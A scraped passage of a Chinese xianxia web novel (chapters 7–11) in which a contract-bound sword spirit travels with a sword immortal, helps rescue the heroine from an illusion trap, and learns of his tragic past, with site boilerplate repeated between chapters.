“什……什么？”关瑕一怔。 牧沉书平淡地扫了他一眼，“我不习惯和别人一同用饭。” “那这位洛姑娘……”关瑕看向洛绫，“和您是什么关系？” “仆人。” 洛绫头顶十字路口，但仔细想想也没什么错，她现在不就是仆人嘛，为了完成系统任务给他做牛做马。 她抚上关瑕的肩膀，“你放心，你在我这儿伺候了这么久，我是不会这么随便就让你离开的。” 关瑕不无感动地望着少女认真的目光，却见她拿起盘中一个偌大的鸡腿，交到了他手中，还一本正经道：“不用谢我。” 我端茶倒酒这么久，一个鸡腿就打发了！？ 关瑕几欲发作，看了眼啜酒的牧沉书，还是吸了口气，乖乖拿着那只鸡腿退下。 洛绫扭头，见牧沉书只略尝了尝关瑕倒的酒，动都没动碗上的筷子，小心翼翼问道：“剑仙大人，我点的菜不合你胃口吗？” “……” 他抬起锐利的目光，“你点的？” “不，不是，刚刚走的那人点的。”洛绫连忙摇头。 “原来如此。”牧沉书看着满桌荤素搭配的菜肴，“不过那个不三不四的人是你找来的，所以，你就负责把菜吃光，酒喝干净吧。” “啊？” 洛绫大为不解：“可这么多好吃的，您一点都不动？是挑食？” “我不挑食，但也不会吃这种粗陋的凡食，还有这酒——”他用指尖敲了敲酒杯，“难以下咽。” 洛绫干笑着：“我怎么觉得菜挺好吃的，酒也还行吧。” “那正好，你负责消灭干净，现在就开始吧。” 牧沉书起身，拍了拍衣袍，而后便泰然自若地上楼歇息。 洛绫笑容凝固，手臂开始不由自主地动了起来，她大惊失色：“不是，我吃不下这么多……” 她还没说完，便被一块鸭肉堵住了嘴，手臂不断挥舞，忙不迭地剿灭着食物，一边大快朵颐，眼角一边流下泪水，说好的清冷正义的剑仙呢，怎么感觉腹黑得要命…… 等把满桌子的菜肴消灭干净，已是夜色沉沉了。 洛绫挺着怀胎六月的肚子，缓缓上楼，得亏她不是个凡人，不然这些菜吃完还不得撑死。 她气喘吁吁地上了楼，来到自己的普通客房，路过牧沉书那间豪华的天字号客房时，还不忘猛猛踹两下空气。 亏我以前还可怜你呢，洛绫揉着肚子，活该绿了吧唧。 “你想要什么？” 门内传来熟悉的清泠声音，是牧沉书？声音听着竟有几分焦躁，她侧了半只耳朵，往门前凑了凑。 “闭嘴！” 然后便什么都没有了，门扇猛然吹来一阵寒风，她被那风立时掀退，牧沉书语气不善地说道：“回去睡觉。” 被发现了，洛绫轻咳两声，乖乖回到了自己的普通客房，心里却惦记着牧沉书在房间内的那两句梦呓。 她刚回房，耳边便忽然响起了系统的声音。 【出现两个支线任务，请择一接取。】 她摊手，“你最好是给我金手指的。” 【任务一：前往骷凤林获取幼年骷凤的血。】 骷凤！！！ 洛绫瞪着眼，骷凤林可不是我这个等级该去的地图，未免也太高估我的实力吧？ 书中即便是拥有逆天灵骨的女主，也是等到升至结丹境界后才到骷凤林搜刮秘宝的，她现在去无疑是送死啊。 不过还有第二个任务，还好还好。 【任务二：查清牧沉书为何梦呓，并想办法治好。】 和上面那个任务比起来，肯定还是弄清楚牧沉书为何梦呓更简单一些吧？ 虽然那厮并不是很想和她敞开心扉，不过她还是可以旁敲侧击地暗示，鬼鬼祟祟地偷窥的。 洛绫果断道：“我选任务二。” 【任务已接取，顺利完成任务可获得奖励——自身突破至凡品剑灵。】 洛绫双眸一亮，凡品剑灵，只要完成这个任务，她不用睡觉就可以境界大提升了？ 香，太香了。 洛绫扶着颤颤巍巍的肚子，来到窗前，将打开的窗扇关紧，又颤颤巍巍地回到了床前，抚摸着自己圆滚滚的肚子。 如果做一次任务就能提升一个大境界，天品剑灵指日可待，离契自然也不远了，届时在修仙界搅动风云，妖言惑众，还不得速速把牧沉书搞黑化。 她美美地靠在床榻上休憩，或许是因为白日赶路的疲倦，很快帘帐内传来轻微的鼾声。 窗外，皓月如洗，一道红影从屋檐上落下，折扇哗的合上，男子缓缓敲着手心。 “十分有趣。” * 翌日，牧沉书醒得有些晚，或许是因为昨夜那场噩梦的缘故，他困乏地扶着床沿，从乾坤袋中取出一件鸦青滚边的外衣。 披上衣裳后，他来到窗前，将紧闭的窗扇打开了一道窄窄的缝隙。 昨夜设下的凝音阵法即刻消散，窗外传来人来人往的说话声、货郎走贩的吆喝声、孩童嬉笑的吵闹声…… 他面无表情地望着楼下繁华热闹的集市，或许是晨时的缘故，路边的茶摊食铺都升起了滚滚的烟气。 并不大的凡间城池便氤氲在这滚滚的烟火气中，柳色清浅，人影绰绰，俨然一幅质朴的古画卷。 牧沉书则是立在画卷之外的那个人。 直到一道雪白的身影闯入他的视线，那道身影从拥挤的人潮中钻出，蹦蹦跳跳来到楼下。 她忽然抬起头，不点唇绛，不施粉黛的一张脸，她抬起手中的两包油纸，朝楼上的他招招手。 7. 七 升级为交通工具 《剑灵她整日妖言惑仙》全本免费阅读 洛绫跟着牧沉书离开客栈，在柜台结算花销时，看着长长的账单，她很确信，牧沉书的眼神是预备要将她宰了。 她心虚地吹着口哨。 不过，幸好牧沉书是个有钱的剑仙，虽然剐了她两眼，还是利落地付了银子，让老板脸上笑开了花。 离开客栈，牧沉书在无人的巷落内召出黑龙剑，洛绫爬上剑，发现剑身一瞬变成一辆玄云化做的骄辇。 牧沉书也上了辇，轻轻撩起一侧的薄纱，与此同时，辇车在云雾的拉动下，飞入了万尺高空。 “这就是传说中仙人才能乘坐的云辇吗？”洛绫好奇地四处摸索着辇车。 “好好看着。”他眉梢微挑，“以后这说不定就是你的日常工作。” “工作？什么意思？” “你这剑灵弱小无用，唯一的作用或许就是能训练成听话一点的飞剑。” 洛绫提高了音量：“你要拿我当交通工具！？” 想想牧沉书在空中潇洒地御剑飞行时，脚下踩一条残念的自己，洛绫就觉得离谱。 “我可不干，你要是敢踩着我飞，我就敢扑上去咬你一口——” 洛绫嚷嚷着，要反抗牧沉书的无理暴政。 “你倒是想，可做得到吗？”他眯缝起眼，朝洛绫微微一笑。 洛绫哑然，没错，因为这该死的契印的缘故，她没办法抗拒牧沉书的命令。 “你等着，等我升到天品，我一定立马跟你割袍断义！”洛绫咬紧了牙根，她忍！ “拭目以待。” 牧沉书撑着额角，合上眼似是在小寐，唇边不住扬了扬。 洛绫见牧沉书睡着觉，悻悻地取出他早上剩下的包子烧饼，承担起消灭残羹剩饭的责任。 云辇在空中慢慢行着，洛绫还在啃着包子，却听见隔壁传来呼啸声。 她扭过头，就瞧见一个大酒葫芦横在云雾中飞行着，几个门派弟子打扮的少年坐在葫芦上，互相交谈着。 弟子A哼道：“那肃风门的小丫头倒是脾性烈得紧，这样都从她口中撬不出半分？” “要我说，长老还是心软了，这种情况，肯定得上点有意思的……”弟子B颇有深意地笑了笑。 弟子C脸色微变，“你们说什么呢？我们可是名门正派，不兴使那种卑劣手段。” “那肃风门也说是什么名门正派，手段也不见得过光明磊落呢！”弟子B反唇相讥。 几人你一嘴我一舌的，吵嚷了好一会儿，听得洛绫竖起了耳朵。 她扯了扯牧沉书的袖子，牧沉书略微睁开眼，淡淡道：“以这些人的修为，是看不到也听不见云辇上的动静的。” “剑仙大人，有肃风门的弟子被这些人绑架了？” 洛绫尽管知道云辇已为二人静音，还是不自觉放低了声音。 “那些是玉上剑庄的人。”牧沉书话音稍沉，“不出所料的话，应该是上……” “听他们的意思，好像还是个女孩，万一那些人对她用刑可怎么办？”洛绫神色不安。 牧沉书看着一脸担忧的洛绫，意外地眨了眨眼。 “不是。”洛绫猛地抬头，意识到自己不该因为一个素未谋面的女子而担忧，她可是要让牧沉书黑化的…… 她努力表现得不以为然，“用刑就用刑，我在剑冢都看习惯了，没什么可在乎的。” 她嘀咕着：“大不了就是把她生煎火烤，断手断脚，泡在坛子里酿酒什么的吧……也没啥……” 牧沉书展了展鸦青滚边的衣袖，“我本还想说，等回了万衡峰再吩咐人处理此事，罢了，还是走一趟吧。” * 牧沉书驱使云辇跟着那个酒葫芦飞了一路，来到一片茂密的山林，那酒葫芦一落地，便倏地消失不见，洛绫惊讶地揉了揉眼睛。 “怎么一下不见人影了……” 她张了张嘴，云辇落下，顷刻化为云烟消散，黑龙剑飞入了牧沉书手中，他将剑负至身后，看到前方空无一人的绿茵地。 “有人在此处凝了个小阵法，看样子实力还不俗。” 牧沉书叹了口气，“怕是那家伙了。” 他忽然回头，握住了洛绫的手，他的手指冰凉中带着丝丝温热，洛绫一惊，连忙要抽手回去，却听他道：“跟我走，我带你进去，也顺便教教你。” “哦，好。”洛绫愣愣地点头，跟上了牧沉书的步伐。 他开始往右方前行，围绕着草地的边缘走出一个半圆的弧度，“这种阵法属于幻术，不要贸然闯入，凝神感知灵气，沿着灵气的边缘游走，然后再做动作——” “这么麻烦吗？” “是为了给你演示才这么做的。”他眼皮抬了抬，“寻常合道境以上修士，空手劈开就行了。” “对了，剑仙大人，我现在修炼了一百多年，化了魂形，那大概相当于人类修士什么品阶？” 牧沉书想了想，回头看向她：“筑基吧。” “就筑基！？”洛绫瞪大眼。 “人族的修行速度本就比你们这些妖魔灵怪快得多，说筑基已经算是十分抬举你了。” 他不以为然地挑了挑眉梢。 洛绫心中消沉，睡了一百多年就筑了个基。 “不熟练的阵法使用者总会在分野处留下破绽。”他停下了脚步，“可别不放在心上，即便是修为比拟散仙的人，也可能会犯下这种愚蠢的低级错误——” 他注视着前方，那是一棵结实的杉树，树皮粗粝不平，半点不犹豫，他便直往那树上撞了过去，洛绫心里紧了紧，身体却被他带着一起往前。 一丝异常的声响都没有，下一刻，面前便翻天覆地了。 眼前出现了一个茅草院落，牧沉书带着洛绫飞上了茅屋的上侧，洛绫坐在屋顶，看向牧沉书问道：“剑仙大人，我们要偷偷救走那个女弟子吗？” “我没打算偷偷的。” “那您为什么要飞到屋顶上？” “不知道。”他顿了顿，“好像话本子里都爱这么演。” “……” 这家伙到底正不正经？ 洛绫趴在屋顶，透过茅屋并未铺实的一处孔隙往下看去，才一看，她便呆住了。 底下那干草堆上，被束手束脚捆成一团的女子，一身藕荷色裙衫，容貌绝美，双目间流出的倔强神色，令洛绫一下子就想到了书中的描写——虽为玉兰貌，心若蔓草韧。 【解锁新人物：沈兰因。】 系统适时地弹出了提醒。 她是女主沈兰因？洛绫惊叹一声，比想象中还要亮眼许多，甚至总觉得有种莫名的光芒洒落在她身上，这就是传说中的主角光环吗？< 8. 八 巴掌一个又一个 《剑灵她整日妖言惑仙》全本免费阅读 见红衣男子脸上戏谑的笑意，洛绫很快反应了过来。 “你不是关瑕？你是什么上官的？” “不是什么上官的，是上官獬。”他歪了歪头，“谢谢你前日给的鸡腿哦，小剑灵。” 洛绫讪笑道：“不用谢……” 她竟然还使唤过这大BOSS给她端茶倒水，嗯，想来也是一种奇妙的体验。 红衣男子折扇在脸上一晃，立时换了个容貌，与先前样貌大不相同，却依然俊美惹眼。 “你这张脸，变了又变，看着都累。”牧沉书抬眸，“把兰因放了，你要做什么都行——” “我当我三岁小孩？” 上官獬叉起腰：“咱们先出去比试，比试完我再放了你的娇娇未婚妻！” 牧沉书眉尖蹙起。 “剑仙大人，上官獬跟您什么怨什么仇啊？好像一副跟你不死不休的样子啊……” 洛绫在他耳畔悄悄问道。 “不过是少时玉瑶盛会上，让他出了点丑罢了。”牧沉书唇角微微抽动。 “稍微！？” 上官獬像只炸毛大猫一般，指着牧沉书道：“你这厮让我在无数仙门弟子面前一缕不挂地奔了半个时辰，害得我至今都没找到道侣，你还好意思说稍微！！” 洛绫捂住嘴，没忍不住噗嗤笑出声。 却见牧沉书无奈地耸了耸肩，“可是你非要跟我抢着吃那仙菇，被迷昏了头的——再说，你找不到道侣难道不是你脾性古怪的缘故？” “我不管，牧沉书，不跟我比试一场，我跟你没完！我辛辛苦苦把沈兰因抓过来，就是为了拷问出你的弱点！” 上官獬说话间一挥扇子，数根光针已飞向了牧沉书，牧沉书抬剑一挡，“叮——” 金属碰撞声极为刺耳，洛绫捂起耳朵，牧沉书挑眉道:“你要怎么比？” “怎么比？” 上官獬扇子一合，扬起妖媚的微笑：“我自然知道，正面打是拼不过你的，不过也怪你脑子不清醒，为了温香软玉竟敢跑到我布置的阵法里头。” “你布置的阵法？”牧沉书点点头，“难怪……都散仙修为的人了，阵法还布成这样，我若是你，不回去闭关个百八十年是不好意思出来找人比试的。” 上官獬听此，气得脸颊青赤难辨，他高声道:“你别得意，本长老是故意留下破绽，引鳖入瓮呢！” 他冷笑一声，低声念了两句什么，洛绫便忽然看到四周悬浮起片片血红的花瓣。 那些花瓣铺天盖地汹涌席卷，充盈满室不说，还钻出茅屋窗口，飞入辽阔的高空，如无尽河流，在茅屋之外蜿蜒不息地交缠流淌。 “师叔小心！是幻阵！” 沈兰因急忙提醒，她刚调动两下灵气，妄图挣开束缚，却又被捆仙绳封住气门，双肩一落，只得作罢。 牧沉书仰起头，看着漫天迷离的花瓣，花瓣落下时，面前的场景斗转星移地变幻，四周传来流水滴答声，那流水声越发地大，潺潺入耳。 原本的青天白日，变成了夜色宁静的池塘，牧沉书发现自己坐在池塘边上的草窠内。 他撑起身子，盯着黑暗中的草窠，唇瓣翕张:“蜻蜓。” 于是他张开一双小手，专心致志地开始扑捉池塘边飞落的蜻蜓。 “噗通！” 又扑空了，他不禁意兴阑珊，擦了擦额角的汗水，拍着脏兮兮的衣摆。 “小主人！该回去了！” 远处传来阵阵轻柔的呼唤声，他扭过头，回去，是该回去了……捉蜻蜓可太累了，更何况，他从来都是一个人，连玩伴也没有…… 当他回身的那一刻，却听轰然一声，群山崩裂，肥胖的佛陀从地底钻出，张开巨口，吞噬着房屋、树木、人尸……汩汩的鲜血流淌至他的脚下，冰凉，黏腻，令他禁不住地反胃…… “过来，快过来……” 他仰起头，看到空中巨大的佛陀胖脸，满口血迹，却依然慈眉善目地冲他微笑:“孩子，快过来……” “过来？” “跟我们融为一体，快过来吧。” “你们是恶，可我为善……” “我们不是恶，我们是力量，孩子，你就是我们，我们是力量，过来，孩子，让我们同生共死，让我们改天换地……” 男孩怔然。 * “不好，师叔怎么一动不动？” 沈兰因虽急得满头大汗，却碍于无法动弹，只能在原地拼命呼唤，试图唤醒牧沉书。 上官獬笑道:“这可是我闭关三十年，从浩物卷中找出来的幻阵！牧沉书，终于等到你吃瘪的一天了！” 他并不多说废话，下一刻折扇便再次飞出一排光针，挥向牧沉书。 洛绫见状不好，一把将牧沉书扯开，二人齐齐摔在了地面上，脚踝无意扭到，她倒吸一口凉气，艰难地站起身。 忽的，一片花瓣落在她的眉心，她目光凝合。 * 洛绫猛然抬头，恢复了卡壳的意识。 她从地上爬起，面前是跳跃着森森赤光的池塘，她抬头看去，远处巨大的佛陀模样怪物，正盘踞在山头，手持人尸，大啖血肉。 “这……是什么地方？” 洛绫一愣，忽然发觉一个绿衣小男孩站在池塘边。 男孩脸色惨白，双目空洞，一只纤细的小蜻蜓落在他的肩上。 “剑仙大人？” 她摸索着走向他，明白这里应当是将牧沉书困住的幻境，要想办法让他尽快离开，不然上官獬就要下死手了。 “剑仙大人，你快醒醒！” 她摇晃着小男孩的肩膀，他神情依然迷惘，“你说，我该被吞掉，还是去捉蜻蜓呢？” “什么？” 洛绫眨眨眼，但意识到他或许真的神志不清了，她深吸一口气。 小男孩喃喃念道:“我好害怕……” 这种时候，按照小说里的套路，应该是嘴炮时间了。 用情啊爱啊，世界啊和平啊，友谊啊羁绊啊什么的，将魔怔的牧沉书唤醒。 洛绫却低下头，略微绾起袖子，抬高了手臂，朝他微微一笑:“剑仙大人，你要原谅我——” “什么？”小男孩眨了眨那双无辜的大眼睛。 “啪！” 男孩白皙的脸上赫然出现红通通的掌印，他不可置信地瞪着洛绫，“你……” 9. 九 心魔 《剑灵她整日妖言惑仙》全本免费阅读 因上官獬的重伤，他布下的伪装阵法已然崩塌，洛绫走出茅屋院落，发现牧沉书已化出了云辇。 她问道:“我们要立刻回万衡峰吗？” “先不回。”牧沉书看向她，“到附近找个地方歇上一晚，兰因受伤了，等明日我们再渡海。” “哦。”洛绫嘀咕着：“您先前还说有急事呢，结果……还真是温香软玉啊……” 牧沉书剐了她一眼，洛绫才没继续碎碎念，沈兰因盯着洛绫，问道：“师叔，这位姑娘是？” “她是我在中洲收的剑灵。”牧沉书介绍道。 “剑灵？” 沈兰因打量着那白衣少女，长发随意地披散在肩头，容貌虽并不出挑，那双灵动如鹿的瞳眸却为其增色不少。 洛绫连忙握住她的手道:“你好，在下洛绫，洛阳的洛，绫罗的绫，以后还请多多关照。” 正是抱主角大腿的好时机！ “你好……”沈兰因略有些讶异，“月海师叔从前连有灵识的剑都不用，没想到竟会接纳剑灵。” 洛绫眨眨眼，也有些奇怪:“连有灵识的剑都不用——为何？” “为何我在剑冢就已告诉过你了。”牧沉书平淡地回答。 “可您自己都没发现，剑灵不好使唤这个理由其实很拙劣……” 洛绫刚吐槽了两句，便被牧沉书提溜到了云辇上去，“少说废话，早点到东宁海岸才有时间养伤。” 他还真是关心沈兰因的伤势啊。洛绫往云辇边上坐了坐，沈兰因自然而然地坐在了她的旁边。 等到二人都上了云辇，牧沉书才最后落身，云雾再次拖动云辇在高空呼啸。 沈兰因两侧，一侧坐着不怎么熟识的剑灵洛绫，一侧坐着不苟言笑的师叔牧沉书，她夹在中间，有些不知如何开口，好打破这生冷的氛围，按理说，她性子向来活泼热情。 “我听你师父眠素说，你这两年在小孤山修行，怎么跑到这中洲山林来了？” 她没说话，牧沉书倒是先开口询问了。 沈兰因听此一怔，绞了绞衣袖道:“出了点意外，我……” “不能说的意外？” 沈兰因脸颊浮上霞红，“并非不能说，只是，遇到了些糟心的人和事，几次三番的，被折腾过来了。” “无妨，等回宗门养好伤后，再去小孤山吧，你这样的年纪，是会像其他年轻修士一样留恋繁华的，只是修仙之人心在止水，切勿被花花凡尘迷了眼。” 牧沉书语气虽依然冷淡，但听得出来，话语间不乏对后辈的关怀。 沈兰因缓缓点头，“好的师叔。” “剑仙大人难道心如止水吗？”洛绫在一旁忽然开口问道。 牧沉书微愣，眉尖一凝，“怎么？” “师叔可是肃风门三大真仙之一，曾历一百六十劫得飞升，执掌朴古剑意，世人都道其浑然若磐石，道心坚不移——” 沈兰因吹捧着自家师叔的光荣事迹，脸上不禁浮现出骄傲的神情。 看得出来，她心中很是尊敬牧沉书。 “咦，那我在幻境里看到的那个不是剑仙大人了？” 洛绫撑着下巴，唇角流露出几分揶揄的笑意。 牧沉书瞥了她一眼，“你不提幻境倒还好，你一提幻境，我便想起来了，你这剑灵胆大包天，竟敢——” “竟敢怎么？”沈兰因扑扇着一双大眼睛，好奇地询问。 牧沉书噎住了，没接着往下说。 洛绫知道他定然是顾及颜面，总不能在无比尊敬自己的女主面前，说自己被一个小剑灵狂扇巴掌了吧？ 洛绫笑眯眯地替他解围：“没什么没什么，就是发生了一点小摩擦——可也是我把剑仙大人从那幻境中解救出来的啊，理当是第一功臣，您应该夸奖我才对！” 她明目张胆地揽功，沈兰因深以为然，反倒还劝着自家师叔：“师叔，洛绫说的没错，不管怎样，她总是把您从幻境中救了出来，不然那上官獬还不知耍什么手段呢。” “……” 牧沉书脸上仿佛笑了笑，他看向沈兰因：“大人说话，小孩少插嘴。” “哦。” 沈兰因立马乖乖低下头。 女主光环被压制得死死的，洛绫感受着那道落在自己身上，刺痛刺痛的目光。 虽没敢瞅回去，她也暗自在心里想着，竟敢对光环女主如此颐指气使，就你这态度，难怪被作者写死了！ 就这样，气氛沉闷的云辇之旅暂停在了东宁海边上。 据牧沉书所说，中洲与东洲之间隔着一片辽阔的海洋——东宁海，越过东宁海，便能抵达仙雾中万千渺然的福地，也即能抵达肃风门所在的万衡峰。 由于沈兰因身上仍有伤势，因此牧沉书带着她到东宁海岸歇脚，他在这荒芜到不见一条人影的地方，竟然有一块儿洞天。 那处洞天藏在海边的洞窟之内，踏入洞天，旋即能看到漫天飘落的白荼花，荼花树掩映之间，是一处幽静阁子。 “剑仙大人也挺浪漫的嘛，将洞天布置得如此诗情画意。”洛绫漫步在花树下，抬手接着片片莹白的花瓣。 沈兰因满脸惊喜，“师叔，你怎么知道我喜欢白荼花的？” 洛绫一定，的确，沈兰因在书中是最爱白荼的，莫非牧沉书还考虑到了这一层，因此布下了漫天的白荼？ 这家伙比她想象中还要痴情得多啊…… 牧沉书脚步稍缓，看向欢喜的沈兰因，“什么？这洞天是梦黎居士飞升真仙界后，不要了送我的。” “哦。”沈兰因又是默默点头。 “……” 洛绫确信，她找到牧沉书被踹的原因了，就这毫无撩拨之意的态度，女主甩了他可算是弃暗投明了！ 洛绫无奈叹息，总算三人到达了阁子，沈兰因自然早早躺进屋内床榻上养伤了。 关上房门后，牧沉书对洛绫道：“这趟出来得急，没带什么灵药，我出去找点疗伤的药草，你们留在这里，等我回来。” “我跟您一起去吧，不然万一离得太远，我魂飞魄散了怎么办？” 洛绫握住他的手腕，牧沉书盯着她紧握的手，摇头道：“你留在这里，不然我不放心。” 这意思是，需要她保护沈兰因了？ 也对，沈兰因还受着伤呢。 洛绫松开了手，想起扇他巴掌的事儿，又挠了挠后脑勺，“那个，幻境里我真的是为了救您……您别怪我……” “你可算是还知道怕我。” 牧沉书唇角微挑，声音一如往常的清泠好听：“好好呆着，等我回来。” 洛绫又扯住了他的衣角，却见他回头道：“ 10. 十 朽木不可雕 《剑灵她整日妖言惑仙》全本免费阅读 洛绫也想不到，原来幻境中演绎的，是牧沉书至亲被魔邪屠戮时的场景…… 那个佛陀，是魔邪……牧沉书也是因此而梦呓的吗？ 不过系统并未提示她已找到牧沉书梦呓的真正原因，如此看来，这只能算是一个重要的线索。 宿龙涧也是个重中之重的地方，她不宜再多问沈兰因，这妮子看着傻白甜，实则心思敏慧。 唉，若是她能离开牧沉书，早就想法子跑去宿龙涧调查调查了。 洛绫无奈地叹了口气。 等到沈兰因吃完手中的梨子，她想见的那个牧沉书也还没回来，洞天内的天幕已经落下夕阳惨烈的血红。 沈兰因打算睡会儿，待到她歇下后，洛绫便来到阁子外围的廊道边沿，光着脚丫子，将腿没入阁边冰凉的池水中。 在茅屋时不知怎的脚有些扭伤，洛绫一时没注意，想起来才发觉有些疼。 剑灵的魂形基本等同于人类的身体，只是比身体要灵活许多，可以通过提高品阶修缮外表，亦可以藏匿于剑中界，但也会流血，更会感受到痛楚。 不过泡点冷水似乎要好一些了，洛绫出神地思考着，也不知怎么做才能知道牧沉书那晚在做什么梦…… 就在这时，清泠如水的声音响起—— “你怎么在这里？” 洛绫抬起头，漫天白荼花瓣吹散在廊道的拐角处，拂落于绿袍少年鸦青色的袍角，他缓缓来到洛绫身畔，俯身，将一个布包放在了木地板上。 他坐了下来，那布包打开，里头是一根根新摘的药草，淡金色的灵气弥漫于药草之上。 洛绫一怔，回神过来，旋即对他道：“剑仙大人，沈姑娘在屋内睡着了，您要不待会儿再进去给她疗伤吧？” “不着急。”他指了指洛绫，“天都黑了，你怎么还在这里吹冷风？” “嗯？” 洛绫眨眨眼。 “你这样容易受风寒。” 洛绫张了张嘴，“可我是剑灵，没有人族那么脆弱的。” “是吗？”他眼神中透露出深深的不信任，整得洛绫都有点心虚了。 其实她也不知道剑灵会不会染风寒，不过，在牧沉书没回来的时候，她的的确确打了几个大喷嚏，可若是不泡着脚，脚腕又疼得紧。 她转移话题，笑嘻嘻地道：“对了，您不知道，您不在的时候沈姑娘说可想你了呢，还坐在窗边一直等你回来。” “她想我做什么？” 牧沉书奇怪地皱眉，那不解的模样，真有种淳朴的直男气息。 洛绫哑口无言，过了好一会儿，才拍了拍他的肩膀，“您换位思考一下，若是您想一个人，是不是就是想见她的意思，若是想见她，是不是就是……” 她的暗示已经足够明显了，再说破可就行不通了。 “什么？”牧沉书目光莹莹的，似乎还要她接着说下去的意思。 洛绫咂咂嘴，算了，朽木不可雕也，更何况，她本意也只是想让他高兴高兴，将他和沈兰因凑成一对，有碍于她的黑化计划。 “你有心思想七想八的，先把脚从水里拿出来吧。” 牧沉书乜了眼她泡在水中，白不溜秋的脚丫子。 洛绫愣愣从水中拿出脚，还用准备的抹脚布擦了擦水花，一抬头，忽然发现牧沉书已经背过了身。 “剑仙大人？” 洛绫喊了声，牧沉书这才转过头，只见他用一根青色薄纱蒙住了双眼，拿起了身畔的那堆药草。 “嗯？” 洛绫起初大为不解，但看着看着，忽然有些明白了过来，他这是不想看到她的脚。 虽然知道古代女子名节事大，真看到他这副谨慎的模样，洛绫还是有些想笑。 “剑仙大人，我只是个剑灵，您不用担心看了我的脚会怎样——”洛绫很是诚恳地跟他解释。 牧沉书并不搭理她的说辞，忽然伸出手，分明眼上蒙了布，却还看得到似的，精准地握住了她的脚腕。 洛绫浑身一震，“干……嘛？” “给你上药。” 牧沉书浅淡的一句，却让洛绫心头紧促了下。 “上药？为何要上药？” “你的脚不是扭伤了吗？”牧沉书冰凉的手指抚过那脚踝处肿胀的一块，“看起来伤得还不轻，我叫你回房好好休息，你却在这里玩水。” 洛绫语塞，他之前是叫她回房好好休息的意思？他不是让她照看沈兰因吗？ 她搜索着脑海里与牧沉书的每一句对话，怪了，他离开时，还真是一句都没有提过沈兰因。 细软的绒毛在心间轻轻拂过，却也只是那么一瞬，洛绫猛地摇了摇头。 牧沉书左手一握，手中的药草便被淡青色的灵气穿透，顷刻间绞成一滩药泥。 他将药泥规整地放在包布上，而后用指尖一点一点地在洛绫肿胀的脚踝上敷抹。 “剑仙大人，洛绫只是您的仆从，您用不着还给我上药，反倒是……”洛绫不自在地撇过头，“反倒是您应该多关心关心沈姑娘不是？” “我自然关心兰因。”牧沉书抬眸，“她是眠素的弟子，亦是我的晚辈，我理当照顾她，关心她——” 他说是关心，洛绫听着却总觉得哪里怪怪，或许怪就怪在太滴水不漏了。 牧沉书，实在是个顽固且不解风情的男配，分明喜欢沈兰因，还要把话说得这么滴水不漏。 洛绫无奈地叹了口气。 “同样的，我也会关心你。”牧沉书的声音放低了许多，洛绫心头再次紧促了起来。 牧沉书一边抹着药泥，一边说道：“你既与我结契，成为我的剑灵，我就负有责任，此生不当令你受伤受累，不论发生什么，我都会保护你。” 洛绫感到痒痒的，奇怪，脚分明是痛的，哪里会痒。 “剑仙大人……” 她再次摇了摇头，还好夜风带来的凉意让她仍然保持着神志清醒。 “其实，你并非我的第一个剑灵。”他忽然提及此事，“在剑冢的时候，我的确没说实话，我不用有剑灵之剑，也并非因为不好使，或是嫌其太弱。” “那是为什么？” “小时候，我的父亲曾经给了我一把剑。”牧沉书取出腰间的黑龙剑，放在了地板上，“就是这一把，她叫玄照。” 洛绫望着那宝剑上栩栩如生的黑龙，不禁伸手触碰了两下。 “父亲把玄照给了我，这把剑本是他的本命剑，他给我，是希望剑中早已孕育的剑灵可以陪伴我，照顾我，那时我住在宿龙涧，虽然生活简单惬意，但也十分孤独，没有一个玩伴，玄照就一直陪着我长大……” 洛绫悉心听着他娓娓道来，牧沉书上药的手指忽然凝滞在半空中，他抬起眸子。 “后来就发生了你在幻境中看到的场景，我的父母都死在了魔邪手中，玄照也湮灭了，我谁也没能救下，独自苟活了下来，师父把我带到肃风门，让我忘却前尘，努力修炼，从此我发誓，我会修炼至足够强大，强大到能杀尽天下妖魔——” 11. 十一 近在眼前 《剑灵她整日妖言惑仙》全本免费阅读 洛绫这一夜睡得极沉，她在剑冢养成了长眠不起的习惯，浅睡时倒无妨，一旦睡沉了，却是再醒不能了。 于是等到第二日沈兰因和牧沉书都收整好准备上路时，发现那小剑灵连影子都没瞅到。 二人敲门不见应，推门而入，只看到那剑灵顶着一头蓬乱的长发，用厚实的棉被将自己裹成了软乎乎的蚕蛹状，正舒服地眯着眼，鼾声轻微，睡相好不舒坦。 一切都很和谐，唯一不太和谐的是，她出现的位置并非床榻，而是大门口。 “床和门之间隔得这么远，到底是怎么睡到这里的？” 沈兰因发出了真诚的疑问。 牧沉书看着脚边美美沉睡的洛绫，倒也不慌不忙，轻描淡写的一句：“起来。” 地上的剑灵立马瞪大了眼，从地上飞地蹿起，软乎乎的棉被从身上滑落，她穿着的那件白色里衣也随之从肩头缓缓滑落—— 牧沉书浑身一颤，身形立马化为一道绿光，消隐不见。 沈兰因还在发怔，就发现自家师叔人都跑没了。 “师叔？你怎么不见了？” “你们，你们女儿家说话，我不方便进屋。” 门外牧沉书磕磕巴巴的声音响起，话音落罢还十分不自然地低咳了一声。 奇了怪，洛绫分明是师叔的剑灵，剑灵也并非人族，师叔这般避讳做什么？ 沈兰因虽纳闷，但还是没敢说出口。 她替洛绫拿了衣物，给她穿上，见她外貌稚气，也就十四五岁的样子，还体贴地问道：“洛绫妹妹，你今年多大了？不会刚化形吧？” 洛绫摆脱了牧沉书的控制，得以继续维持迷迷糊糊的状态，她拉紧身上的外袍，一边找着腰带一边淡淡地回道：“也就一百二十多岁吧。” “……” 沈兰因递给她腰带的手凝滞在了半空中。 “这有什么可惊讶的？”洛绫摸着下巴，“沈姑娘虽然还年轻，不过您看剑仙大人都是一千多岁的小老头了，却还是一副少年郎的模样，这才教人惊讶吧！” 沈兰因讪讪笑了笑：“师叔他不一样……” “你对他就是滤镜太重了，其实他也没那么正经——” 洛绫压根没想起牧沉书就站在门外，还自顾自地跟沈兰因吐槽，却听门外传来一声命令：“穿衣服。” 洛绫一定，一边在心里骂骂咧咧，一边手忙脚乱地穿衣服。 现在她明白了，牧沉书不会利用剑灵的绝对服从对她使什么坏心思，可他顶喜欢在这种小细节的地方捉弄她。 穿好衣服后，洛绫推门而出，一头长发仍有些蓬乱，牧沉书站在门口看了眼，蹙起眉，抬起指尖，一缕淡青色的光芒抚过她的发丝。 洛绫看着那灵气游走在她的发丝之间，清风擦肩而过，瞬间就跟那洗发水广告里的特效似的，头发变得又闪又亮又柔软。 “这是做什么？” 牧沉书背过身，没回答她的问题，兀自走入了廊道。 沈兰因小心翼翼地侧在洛绫耳边道：“你以后可要小心，师叔他有点别扭。” “别扭？” “就是看不惯别人不规整。” “哦……处女座啊。” “处，处女座？” 